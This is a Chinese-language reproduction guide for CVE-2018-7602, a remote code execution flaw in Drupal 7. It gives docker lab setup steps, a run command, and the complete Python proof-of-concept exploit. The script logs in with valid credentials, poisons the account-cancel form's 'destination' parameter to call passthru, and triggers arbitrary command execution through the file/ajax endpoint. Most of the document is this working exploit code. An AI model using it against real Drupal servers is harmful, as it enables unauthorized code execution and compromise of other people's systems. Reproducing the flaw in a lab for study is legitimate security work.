（CVE-2018-7602）Drupal_远程代码执行漏洞

# （CVE-2018-7602）Drupal 远程代码执行漏洞

一、漏洞简介
————

Drupal
7.x版本和8.x版本中的存在存在远程代码执行漏洞。远程攻击者可利用该中断执行任意代码。

二、漏洞影响
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Drupal 7.x版本和8.x

三、复现过程
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### 漏洞环境

执行如下命令启动drupal 7.57的环境：

docker-compose up -d

环境启动后，访问 `http://your-ip:8081/`
将会看到drupal的安装页面，一路默认配置下一步安装。因为没有mysql环境，所以安装的时候可以选择sqlite数据库。

### 漏洞复现

参考[ianxtianxt/CVE-2018-7602](https://github.com/ianxtianxt/CVE-2018-7600)的PoC。

如下图所示，执行以下命令即可复现该漏洞。示例命令为
`id`，如图红框中显示，可以执行该命令。

# “id”为要执行的命令 第一个drupal为用户名 第二个drupal为密码
python3 drupa7-CVE-2018-7602.py -c “id” drupal drupal http://127.0.0.1:8081/


### CVE-2018-7602.py

#!/usr/bin/env python3

import requests
import argparse
from bs4 import BeautifulSoup

def get_args():
parser = argparse.ArgumentParser( prog=”drupa7-CVE-2018-7602.py”,
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= ”’
This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58 using an valid account and poisoning the cancel account form (user_cancel_confirm_form) with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax). ''') parser.add_argument("user", help="Username") parser.add_argument("password", help="Password") parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)") parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)") parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)") parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)") args = parser.parse_args() return args def pwn_target(target, username, password, function, command, proxy): requests.packages.urllib3.disable_warnings() session = requests.Session() proxyConf = {'http': proxy, 'https': proxy} try: print('[*] Creating a session using the provided credential...') get_params = {'q':'user/login'} post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'} print('[*] Finding User ID...') session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf) get_params = {'q':'user'} r = session.get(target, params=get_params, verify=False, proxies=proxyConf) soup = BeautifulSoup(r.text, "html.parser") user_id = soup.find('meta', {'property': 'foaf:name'}).get('about') if ("?q=" in user_id): user_id = user_id.split("=")[1] if(user_id): print('[*] User ID found: ' + user_id) print('[*] Poisoning a form using \'destination\' and including it in cache.') get_params = {'q': user_id + '/cancel'} r = session.get(target, params=get_params, verify=False, proxies=proxyConf) soup = BeautifulSoup(r.text, "html.parser") form = soup.find('form', {'id': 'user-cancel-confirm-form'}) form_token = form.find('input', {'name': 'form_token'}).get('value') get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command } post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'} r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf) soup = BeautifulSoup(r.text, "html.parser") form = soup.find('form', {'id': 'user-cancel-confirm-form'}) form_build_id = form.find('input', {'name': 'form_build_id'}).get('value') if form_build_id: print('[*] Poisoned form ID: ' + form_build_id) print('[*] Triggering exploit to execute: ' + command) get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id} post_params = {'form_build_id':form_build_id} r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf) parsed_result = r.text.split('[{"command":"settings"')[0] print(parsed_result) except: print("ERROR: Something went wrong.") raise def main(): print () print ('===') print ('| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |') print ('| by pimps |') print ('===\n') args = get_args() # get the cl args pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip()) if __name__ == '__main__': main() 参考链接 -------- > https://vulhub.org/\#/environments/drupal/CVE-2018-7602/